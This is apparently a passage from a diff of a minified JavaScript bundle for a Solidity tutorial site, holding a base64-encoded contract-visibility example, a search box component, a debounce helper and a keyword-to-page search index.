Solidity",eB=[{fileName:"Visibility.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEJhc2UgewogICAgLy8gUHJpdmF0ZSBmdW5jdGlvbiBjYW4gb25seSBiZSBjYWxsZWQKICAgIC8vIC0gaW5zaWRlIHRoaXMgY29udHJhY3QKICAgIC8vIENvbnRyYWN0cyB0aGF0IGluaGVyaXQgdGhpcyBjb250cmFjdCBjYW5ub3QgY2FsbCB0aGlzIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gcHJpdmF0ZUZ1bmMoKSBwcml2YXRlIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAicHJpdmF0ZSBmdW5jdGlvbiBjYWxsZWQiOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RQcml2YXRlRnVuYygpIHB1YmxpYyBwdXJlIHJldHVybnMgKHN0cmluZyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gcHJpdmF0ZUZ1bmMoKTsKICAgIH0KCiAgICAvLyBJbnRlcm5hbCBmdW5jdGlvbiBjYW4gYmUgY2FsbGVkCiAgICAvLyAtIGluc2lkZSB0aGlzIGNvbnRyYWN0CiAgICAvLyAtIGluc2lkZSBjb250cmFjdHMgdGhhdCBpbmhlcml0IHRoaXMgY29udHJhY3QKICAgIGZ1bmN0aW9uIGludGVybmFsRnVuYygpIGludGVybmFsIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiaW50ZXJuYWwgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0SW50ZXJuYWxGdW5jKCkgcHVibGljIHB1cmUgdmlydHVhbCByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGludGVybmFsRnVuYygpOwogICAgfQoKICAgIC8vIFB1YmxpYyBmdW5jdGlvbnMgY2FuIGJlIGNhbGxlZAogICAgLy8gLSBpbnNpZGUgdGhpcyBjb250cmFjdAogICAgLy8gLSBpbnNpZGUgY29udHJhY3RzIHRoYXQgaW5oZXJpdCB0aGlzIGNvbnRyYWN0CiAgICAvLyAtIGJ5IG90aGVyIGNvbnRyYWN0cyBhbmQgYWNjb3VudHMKICAgIGZ1bmN0aW9uIHB1YmxpY0Z1bmMoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuICJwdWJsaWMgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICAvLyBFeHRlcm5hbCBmdW5jdGlvbnMgY2FuIG9ubHkgYmUgY2FsbGVkCiAgICAvLyAtIGJ5IG90aGVyIGNvbnRyYWN0cyBhbmQgYWNjb3VudHMKICAgIGZ1bmN0aW9uIGV4dGVybmFsRnVuYygpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiZXh0ZXJuYWwgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICAvLyBUaGlzIGZ1bmN0aW9uIHdpbGwgbm90IGNvbXBpbGUgc2luY2Ugd2UncmUgdHJ5aW5nIHRvIGNhbGwKICAgIC8vIGFuIGV4dGVybmFsIGZ1bmN0aW9uIGhlcmUuCiAgICAvLyBmdW5jdGlvbiB0ZXN0RXh0ZXJuYWxGdW5jKCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgLy8gICAgIHJldHVybiBleHRlcm5hbEZ1bmMoKTsKICAgIC8vIH0KCiAgICAvLyBTdGF0ZSB2YXJpYWJsZXMKICAgIHN0cmluZyBwcml2YXRlIHByaXZhdGVWYXIgPSAibXkgcHJpdmF0ZSB2YXJpYWJsZSI7CiAgICBzdHJpbmcgaW50ZXJuYWwgaW50ZXJuYWxWYXIgPSAibXkgaW50ZXJuYWwgdmFyaWFibGUiOwogICAgc3RyaW5nIHB1YmxpYyBwdWJsaWNWYXIgPSAibXkgcHVibGljIHZhcmlhYmxlIjsKICAgIC8vIFN0YXRlIHZhcmlhYmxlcyBjYW5ub3QgYmUgZXh0ZXJuYWwgc28gdGhpcyBjb2RlIHdvbid0IGNvbXBpbGUuCiAgICAvLyBzdHJpbmcgZXh0ZXJuYWwgZXh0ZXJuYWxWYXIgPSAibXkgZXh0ZXJuYWwgdmFyaWFibGUiOwp9Cgpjb250cmFjdCBDaGlsZCBpcyBCYXNlIHsKICAgIC8vIEluaGVyaXRlZCBjb250cmFjdHMgZG8gbm90IGhhdmUgYWNjZXNzIHRvIHByaXZhdGUgZnVuY3Rpb25zCiAgICAvLyBhbmQgc3RhdGUgdmFyaWFibGVzLgogICAgLy8gZnVuY3Rpb24gdGVzdFByaXZhdGVGdW5jKCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgLy8gICAgIHJldHVybiBwcml2YXRlRnVuYygpOwogICAgLy8gfQoKICAgIC8vIEludGVybmFsIGZ1bmN0aW9uIGNhbiBiZSBjYWxsZWQgaW5zaWRlIGNoaWxkIGNvbnRyYWN0cy4KICAgIGZ1bmN0aW9uIHRlc3RJbnRlcm5hbEZ1bmMoKSBwdWJsaWMgcHVyZSBvdmVycmlkZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGludGVybmFsRnVuYygpOwogICAgfQp9Cg=="}],cB=`

                                                  Functions and state variables have to declare whether they are accessible by other contracts.

                                                  +`,cB=({prev:s,next:a})=>r.jsx(A,{version:aB,title:nB,description:lB,html:eB,prev:s,next:a,codes:pB}),tB="0.8.24",oB="Visibility",rB="An example of external, internal, private and public functions in Solidity",iB=[{fileName:"Visibility.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEJhc2UgewogICAgLy8gUHJpdmF0ZSBmdW5jdGlvbiBjYW4gb25seSBiZSBjYWxsZWQKICAgIC8vIC0gaW5zaWRlIHRoaXMgY29udHJhY3QKICAgIC8vIENvbnRyYWN0cyB0aGF0IGluaGVyaXQgdGhpcyBjb250cmFjdCBjYW5ub3QgY2FsbCB0aGlzIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gcHJpdmF0ZUZ1bmMoKSBwcml2YXRlIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAicHJpdmF0ZSBmdW5jdGlvbiBjYWxsZWQiOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RQcml2YXRlRnVuYygpIHB1YmxpYyBwdXJlIHJldHVybnMgKHN0cmluZyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gcHJpdmF0ZUZ1bmMoKTsKICAgIH0KCiAgICAvLyBJbnRlcm5hbCBmdW5jdGlvbiBjYW4gYmUgY2FsbGVkCiAgICAvLyAtIGluc2lkZSB0aGlzIGNvbnRyYWN0CiAgICAvLyAtIGluc2lkZSBjb250cmFjdHMgdGhhdCBpbmhlcml0IHRoaXMgY29udHJhY3QKICAgIGZ1bmN0aW9uIGludGVybmFsRnVuYygpIGludGVybmFsIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiaW50ZXJuYWwgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0SW50ZXJuYWxGdW5jKCkgcHVibGljIHB1cmUgdmlydHVhbCByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGludGVybmFsRnVuYygpOwogICAgfQoKICAgIC8vIFB1YmxpYyBmdW5jdGlvbnMgY2FuIGJlIGNhbGxlZAogICAgLy8gLSBpbnNpZGUgdGhpcyBjb250cmFjdAogICAgLy8gLSBpbnNpZGUgY29udHJhY3RzIHRoYXQgaW5oZXJpdCB0aGlzIGNvbnRyYWN0CiAgICAvLyAtIGJ5IG90aGVyIGNvbnRyYWN0cyBhbmQgYWNjb3VudHMKICAgIGZ1bmN0aW9uIHB1YmxpY0Z1bmMoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuICJwdWJsaWMgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICAvLyBFeHRlcm5hbCBmdW5jdGlvbnMgY2FuIG9ubHkgYmUgY2FsbGVkCiAgICAvLyAtIGJ5IG90aGVyIGNvbnRyYWN0cyBhbmQgYWNjb3VudHMKICAgIGZ1bmN0aW9uIGV4dGVybmFsRnVuYygpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiZXh0ZXJuYWwgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICAvLyBUaGlzIGZ1bmN0aW9uIHdpbGwgbm90IGNvbXBpbGUgc2luY2Ugd2UncmUgdHJ5aW5nIHRvIGNhbGwKICAgIC8vIGFuIGV4dGVybmFsIGZ1bmN0aW9uIGhlcmUuCiAgICAvLyBmdW5jdGlvbiB0ZXN0RXh0ZXJuYWxGdW5jKCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgLy8gICAgIHJldHVybiBleHRlcm5hbEZ1bmMoKTsKICAgIC8vIH0KCiAgICAvLyBTdGF0ZSB2YXJpYWJsZXMKICAgIHN0cmluZyBwcml2YXRlIHByaXZhdGVWYXIgPSAibXkgcHJpdmF0ZSB2YXJpYWJsZSI7CiAgICBzdHJpbmcgaW50ZXJuYWwgaW50ZXJuYWxWYXIgPSAibXkgaW50ZXJuYWwgdmFyaWFibGUiOwogICAgc3RyaW5nIHB1YmxpYyBwdWJsaWNWYXIgPSAibXkgcHVibGljIHZhcmlhYmxlIjsKICAgIC8vIFN0YXRlIHZhcmlhYmxlcyBjYW5ub3QgYmUgZXh0ZXJuYWwgc28gdGhpcyBjb2RlIHdvbid0IGNvbXBpbGUuCiAgICAvLyBzdHJpbmcgZXh0ZXJuYWwgZXh0ZXJuYWxWYXIgPSAibXkgZXh0ZXJuYWwgdmFyaWFibGUiOwp9Cgpjb250cmFjdCBDaGlsZCBpcyBCYXNlIHsKICAgIC8vIEluaGVyaXRlZCBjb250cmFjdHMgZG8gbm90IGhhdmUgYWNjZXNzIHRvIHByaXZhdGUgZnVuY3Rpb25zCiAgICAvLyBhbmQgc3RhdGUgdmFyaWFibGVzLgogICAgLy8gZnVuY3Rpb24gdGVzdFByaXZhdGVGdW5jKCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgLy8gICAgIHJldHVybiBwcml2YXRlRnVuYygpOwogICAgLy8gfQoKICAgIC8vIEludGVybmFsIGZ1bmN0aW9uIGNhbiBiZSBjYWxsZWQgaW5zaWRlIGNoaWxkIGNvbnRyYWN0cy4KICAgIGZ1bmN0aW9uIHRlc3RJbnRlcm5hbEZ1bmMoKSBwdWJsaWMgcHVyZSBvdmVycmlkZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGludGVybmFsRnVuYygpOwogICAgfQp9Cg=="}],gB=`

                                                  Functions and state variables have to declare whether they are accessible by other contracts.

                                                  Functions can be declared as

                                                  • public - any contract and account can call
                                                    • @@ -12565,4 +12651,4 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller return internalFunc(); } } -`,tB=({prev:s,next:a})=>r.jsx(A,{version:nB,title:lB,description:pB,html:cB,prev:s,next:a,codes:eB}),oB=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor",width:s,height:s,className:a,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-5.197-5.197m0 0A7.5 7.5 0 105.196 5.196a7.5 7.5 0 0010.607 10.607z"})}),rB="_component_efeb7_1",iB="_icon_efeb7_8",gB="_input_efeb7_12",Ie={component:rB,icon:iB,input:gB},hB=({value:s,onChange:a})=>{function n(l){a(l.target.value)}return r.jsxs("div",{className:Ie.component,children:[r.jsx(oB,{size:18,className:Ie.icon}),r.jsx("input",{className:Ie.input,placeholder:"Search",value:s,onChange:n})]})},IB=({size:s,className:a=""})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 113 113",xmlSpace:"preserve",width:s,height:s,className:a,children:[r.jsx("circle",{cx:56.5,cy:56.5,r:56.5,fill:"#453dff",stroke:"none"}),r.jsx("path",{fill:"#fff",stroke:"none",d:"M68.476 46.383c.454.796 1.36 1.82 2.155 1.82 4.31.227 8.62.113 13.157.113-.567-3.98-2.042-7.392-4.31-10.462-1.361-1.706-1.701-2.957-.34-4.89 1.36-1.82 2.381-4.094 3.63-6.255-3.97-2.274-7.827-4.435-11.797-6.709-1.36 2.274-2.609 4.321-3.743 6.482-.68 1.365-1.36 1.706-2.949 1.478-3.63-.455-7.259-.91-10.888-.682-10.889.682-19.85 7.96-22.798 18.423-3.29 11.94-1.702 22.97 6.805 32.523-1.588 2.843-3.29 5.8-4.99 8.87 4.083 2.275 7.826 4.55 11.795 6.824 1.588-2.73 3.063-5.231 4.424-7.733.68-1.251 1.588-1.365 2.949-1.479 4.65 0 9.3.228 13.724-.682 9.3-1.82 17.354-10.803 18.375-20.128-4.084 0-7.94.113-11.91 0-1.588 0-2.609.455-3.403 1.933-4.537 7.62-15.312 8.87-21.21 2.502-5.557-5.914-5.557-18.764.114-24.677 6.011-6.141 16.56-4.777 21.21 2.729z"})]});var dB="Expected a function",Xo=NaN,CB="[object Symbol]",jB=/^\s+|\s+$/g,AB=/^[-+]0x[0-9a-f]+$/i,uB=/^0b[01]+$/i,yB=/^0o[0-7]+$/i,mB=parseInt,bB=typeof Il=="object"&&Il&&Il.Object===Object&&Il,wB=typeof self=="object"&&self&&self.Object===Object&&self,kB=bB||wB||Function("return this")(),ZB=Object.prototype,WB=ZB.toString,BB=Math.max,GB=Math.min,de=function(){return kB.Date.now()};function VB(s,a,n){var l,p,e,c,t,o,i=0,I=!1,d=!1,j=!0;if(typeof s!="function")throw new TypeError(dB);a=Ro(a)||0,ic(n)&&(I=!!n.leading,d="maxWait"in n,e=d?BB(Ro(n.maxWait)||0,a):e,j="trailing"in n?!!n.trailing:j);function u(k){var G=l,Y=p;return l=p=void 0,i=k,c=s.apply(Y,G),c}function m(k){return i=k,t=setTimeout(h,a),I?u(k):c}function b(k){var G=k-o,Y=k-i,x=a-G;return d?GB(x,e-Y):x}function Z(k){var G=k-o,Y=k-i;return o===void 0||G>=a||G<0||d&&Y>=e}function h(){var k=de();if(Z(k))return g(k);t=setTimeout(h,b(k))}function g(k){return t=void 0,j&&l?u(k):(l=p=void 0,c)}function C(){t!==void 0&&clearTimeout(t),i=0,l=o=p=t=void 0}function y(){return t===void 0?c:g(de())}function W(){var k=de(),G=Z(k);if(l=arguments,p=this,o=k,G){if(t===void 0)return m(o);if(d)return t=setTimeout(h,a),u(o)}return t===void 0&&(t=setTimeout(h,a)),c}return W.cancel=C,W.flush=y,W}function ic(s){var a=typeof s;return!!s&&(a=="object"||a=="function")}function fB(s){return!!s&&typeof s=="object"}function YB(s){return typeof s=="symbol"||fB(s)&&WB.call(s)==CB}function Ro(s){if(typeof s=="number")return s;if(YB(s))return Xo;if(ic(s)){var a=typeof s.valueOf=="function"?s.valueOf():s;s=ic(a)?a+"":a}if(typeof s!="string")return s===0?s:+s;s=s.replace(jB,"");var n=uB.test(s);return n||yB.test(s)?mB(s.slice(2),n?2:8):AB.test(s)?Xo:+s}var XB=VB;const RB=Ko(XB),vB={leading:!1,trailing:!0};function NB(s,a,n){return B.useCallback(RB(s,a,vB),n)}function HB(s,a){let n=s;for(let l=0;l0;){const[e,c,t]=a.pop();p&&(l=l.slice(0,c-1),p=!1),l+=e;const o=Object.keys(t);if(o.length>0)for(let i=0;ia+p)}const MB=["/visibility"],SB=["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],xB=["/visibility"],JB=["/visibility","/hacks/hiding-malicious-code-with-external-contract"],zB=["/view-and-pure-functions"],DB=["/view-and-pure-functions"],EB=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/evm/storage","/ether-units","/enum","/constants","/assembly-variable","/array"],QB=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/ether-units","/enum","/constants","/array"],TB=["/variables"],UB=["/variables"],_B=["/variables","/state-variables","/shadowing-inherited-state-variables","/evm/storage"],LB=["/variables","/structs","/primitives","/mapping","/immutable","/hacks/accessing-private-data","/evm/storage","/evm/memory","/ether-units","/enum","/data-locations","/constants","/array","/app/iterable-mapping"],OB=["/unchecked-math","/gas-golf","/gas"],PB=["/unchecked-math"],$B=["/unchecked-math","/assembly-math","/app/assembly-bin-exp"],qB=["/unchecked-math","/hacks/overflow"],sG=["/unchecked-math","/hacks/overflow"],aG=["/try-catch","/error","/assembly-error"],nG=["/try-catch","/error"],lG=["/transient-storage"],pG=["/transient-storage","/hacks/accessing-private-data","/evm/storage","/data-locations","/app/write-to-any-slot"],eG=["/tests/echidna"],cG=["/tests/echidna"],tG=["/super","/calling-contract"],oG=["/super"],rG=["/super","/new-contract","/interface","/inheritance","/hello-world","/hacks/hiding-malicious-code-with-external-contract","/hacks/deploy-different-contracts-same-address","/hacks/contract-size","/first-app","/delegatecall","/constructor","/calling-contract","/call","/app/simple-bytecode-contract","/app/minimal-proxy","/app/deploy-any-contract","/app/create2"],iG=["/super","/new-contract","/interface","/inheritance","/first-app","/delegatecall","/calling-contract","/call"],gG=["/super","/shadowing-inherited-state-variables","/inheritance","/constructor"],hG=["/structs"],IG=["/structs"],dG=["/structs","/primitives"],CG=["/structs","/primitives"],jG=["/state-variables"],AG=["/state-variables"],uG=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel","/app/airdrop"],yG=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel","/app/airdrop"],mG=["/signature","/hashing","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/merkle-tree","/app/bi-directional-payment-channel"],bG=["/signature"],wG=["/signature"],kG=["/signature","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/multi-sig-wallet","/app/bi-directional-payment-channel"],ZG=["/signature"],WG=["/signature"],BG=["/shadowing-inherited-state-variables"],GG=["/shadowing-inherited-state-variables"],VG=["/sending-ether"],fG=["/sending-ether","/sending-ether","/payable","/fallback"],YG=["/sending-ether","/payable","/fallback","/ether-units","/app/ether-wallet"],XG=["/sending-ether","/payable","/fallback","/app/ether-wallet"],RG=["/sending-ether","/fallback","/app/gasless-token-transfer"],vG=["/sending-ether","/delegatecall","/calling-contract","/call","/app/multi-call"],NG=["/sending-ether","/fallback"],HG=["/sending-ether","/fallback"],FG=["/sending-ether","/payable","/fallback"],KG=["/primitives"],MG=["/primitives"],SG=["/primitives"],xG=["/primitives"],JG=["/primitives"],zG=["/primitives","/hacks/deploy-different-contracts-same-address","/app/create2"],DG=["/primitives"],EG=["/primitives"],QG=["/new-contract","/hacks/deploy-different-contracts-same-address"],TG=["/new-contract"],UG=["/new-contract","/hacks/deploy-different-contracts-same-address","/app/create2"],_G=["/new-contract","/hacks/deploy-different-contracts-same-address"],LG=["/mapping","/app/iterable-mapping"],OG=["/loop","/assembly-loop"],PG=["/loop"],$G=["/library"],qG=["/interface"],sV=["/inheritance"],aV=["/inheritance"],nV=["/inheritance"],lV=["/immutable","/defi/constant-sum-amm","/defi/constant-product-amm","/constants"],pV=["/immutable","/constants"],eV=["/immutable"],cV=["/immutable"],tV=["/if-else"],oV=["/if-else"],rV=["/if-else"],iV=["/hello-world"],gV=["/hello-world"],hV=["/hashing"],IV=["/hashing"],dV=["/hashing"],CV=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data"],jV=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data","/events-advanced"],AV=["/hacks/weth-permit"],uV=["/hacks/weth-permit","/app/gasless-token-transfer"],yV=["/hacks/vault-inflation"],mV=["/hacks/vault-inflation"],bV=["/hacks/vault-inflation","/defi/vault"],wV=["/hacks/signature-replay"],kV=["/hacks/self-destruct"],ZV=["/hacks/randomness"],WV=["/hacks/randomness"],BV=["/hacks/randomness"],GV=["/hacks/randomness"],VV=["/hacks/randomness","/hacks/block-timestamp-manipulation"],fV=["/hacks/randomness","/hacks/block-timestamp-manipulation"],YV=["/hacks/phishing-with-tx-origin"],XV=["/hacks/overflow"],RV=["/hacks/honeypot"],vV=["/hacks/hiding-malicious-code-with-external-contract"],NV=["/hacks/hiding-malicious-code-with-external-contract"],HV=["/hacks/hiding-malicious-code-with-external-contract"],FV=["/hacks/hiding-malicious-code-with-external-contract"],KV=["/hacks/front-running"],MV=["/hacks/front-running"],SV=["/hacks/deploy-different-contracts-same-address","/app/deploy-any-contract"],xV=["/hacks/deploy-different-contracts-same-address"],JV=["/hacks/deploy-different-contracts-same-address"],zV=["/hacks/denial-of-service"],DV=["/hacks/denial-of-service"],EV=["/hacks/delegatecall","/delegatecall","/app/upgradeable-proxy","/app/multi-delegatecall"],QV=["/hacks/contract-size"],TV=["/hacks/contract-size"],UV=["/hacks/contract-size"],_V=["/hacks/contract-size"],LV=["/hacks/block-timestamp-manipulation"],OV=["/hacks/accessing-private-data"],PV=["/hacks/accessing-private-data"],$V=["/gas-golf"],qV=["/function-selector"],sf=["/function-selector"],af=["/function-modifier"],nf=["/function-modifier"],lf=["/function-modifier"],pf=["/first-app"],ef=["/first-app"],cf=["/evm/storage","/evm/memory"],tf=["/evm/storage","/evm/memory","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],of=["/evm/storage","/evm/memory","/bitwise","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],rf=["/evm/memory","/data-locations"],gf=["/events-advanced","/events"],hf=["/events-advanced"],If=["/events-advanced"],df=["/events-advanced"],Cf=["/events"],jf=["/ether-units"],Af=["/ether-units"],uf=["/error"],yf=["/error","/assembly-error"],mf=["/error"],bf=["/enum"],wf=["/defi/vault","/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/staking-rewards","/defi/stable-swap-amm","/defi/discrete-staking-rewards","/defi/dai-proxy","/defi/constant-sum-amm","/defi/constant-product-amm","/defi/chainlink-price-oracle"],kf=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],Zf=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash"],Wf=["/defi/uniswap-v3-swap","/defi/uniswap-v3-flash-swap","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2","/defi/stable-swap-amm"],Bf=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/stable-swap-amm","/defi/constant-sum-amm","/defi/constant-product-amm"],Gf=["/defi/uniswap-v3-liquidity","/defi/uniswap-v2-add-remove-liquidity"],Vf=["/defi/uniswap-v3-flash-swap"],ff=["/defi/uniswap-v3-flash","/defi/uniswap-v2-flash-swap"],Yf=["/defi/uniswap-v3-flash"],Xf=["/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],Rf=["/defi/uniswap-v2-optimal-one-sided-supply"],vf=["/defi/uniswap-v2-optimal-one-sided-supply"],Nf=["/defi/uniswap-v2-optimal-one-sided-supply"],Hf=["/defi/uniswap-v2-optimal-one-sided-supply"],Ff=["/defi/uniswap-v2-add-remove-liquidity","/assembly-math"],Kf=["/defi/uniswap-v2-add-remove-liquidity"],Mf=["/defi/staking-rewards","/defi/discrete-staking-rewards"],Sf=["/defi/staking-rewards","/defi/discrete-staking-rewards"],xf=["/defi/staking-rewards","/defi/discrete-staking-rewards"],Jf=["/defi/stable-swap-amm"],zf=["/defi/stable-swap-amm"],Df=["/defi/discrete-staking-rewards"],Ef=["/defi/dai-proxy"],Qf=["/defi/dai-proxy","/app/upgradeable-proxy","/app/minimal-proxy"],Tf=["/defi/constant-sum-amm"],Uf=["/defi/constant-product-amm"],_f=["/defi/chainlink-price-oracle"],Lf=["/defi/chainlink-price-oracle"],Of=["/defi/chainlink-price-oracle"],Pf=["/defi/chainlink-price-oracle"],$f=["/data-locations"],qf=["/data-locations"],s1=["/data-locations"],a1=["/constructor"],n1=["/constructor"],l1=["/calling-contract"],p1=["/bitwise"],e1=["/bitwise"],c1=["/bitwise"],t1=["/bitwise"],o1=["/assembly-math"],r1=["/array"],i1=["/array"],g1=["/app/write-to-any-slot"],h1=["/app/write-to-any-slot","/app/deploy-any-contract"],I1=["/app/write-to-any-slot"],d1=["/app/upgradeable-proxy"],C1=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],j1=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],A1=["/app/time-lock"],u1=["/app/time-lock"],y1=["/app/simple-bytecode-contract"],m1=["/app/simple-bytecode-contract"],b1=["/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call"],w1=["/app/multi-sig-wallet"],k1=["/app/multi-sig-wallet","/app/ether-wallet"],Z1=["/app/multi-call"],W1=["/app/minimal-proxy"],B1=["/app/merkle-tree","/app/airdrop"],G1=["/app/merkle-tree"],V1=["/app/iterable-mapping"],f1=["/app/gasless-token-transfer"],Y1=["/app/gasless-token-transfer","/app/erc20"],X1=["/app/gasless-token-transfer"],R1=["/app/erc721"],v1=["/app/erc721"],N1=["/app/erc721","/app/erc1155"],H1=["/app/erc20"],F1=["/app/erc20"],K1=["/app/erc1155"],M1=["/app/erc1155"],S1=["/app/english-auction"],x1=["/app/english-auction","/app/dutch-auction"],J1=["/app/english-auction","/app/dutch-auction"],z1=["/app/dutch-auction"],D1=["/app/crowd-fund"],E1=["/app/crowd-fund"],Q1=["/app/crowd-fund"],T1=["/app/create2"],U1=["/app/assembly-bin-exp"],_1=["/app/assembly-bin-exp"],L1=["/app/airdrop"],O1=["/abi-encode","/abi-decode"],P1=["/abi-encode"],$1=["/abi-encode","/abi-decode"],q1=["/abi-encode"],sY=["/abi-encode"],aY=["/abi-encode"],nY=["/abi-decode"],vo={visibility:MB,function:["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],functions:SB,internal:xB,private:["/visibility","/hacks/accessing-private-data"],public:["/visibility"],external:JB,view:zB,pure:DB,variable:EB,variables:QB,local:TB,global:UB,state:_B,data:LB,gas:OB,unchecked:PB,math:$B,overflow:qB,underflow:sG,try:["/try-catch"],catch:["/try-catch"],error:aG,errors:nG,transient:lG,storage:pG,test:eG,echidna:cG,calling:tG,parent:oG,contract:rG,contracts:iG,inheritance:gG,super:["/super","/inheritance"],struct:hG,structs:IG,type:dG,types:CG,reading:jG,writing:AG,app:uG,application:yG,cryptography:mG,verify:bG,verifying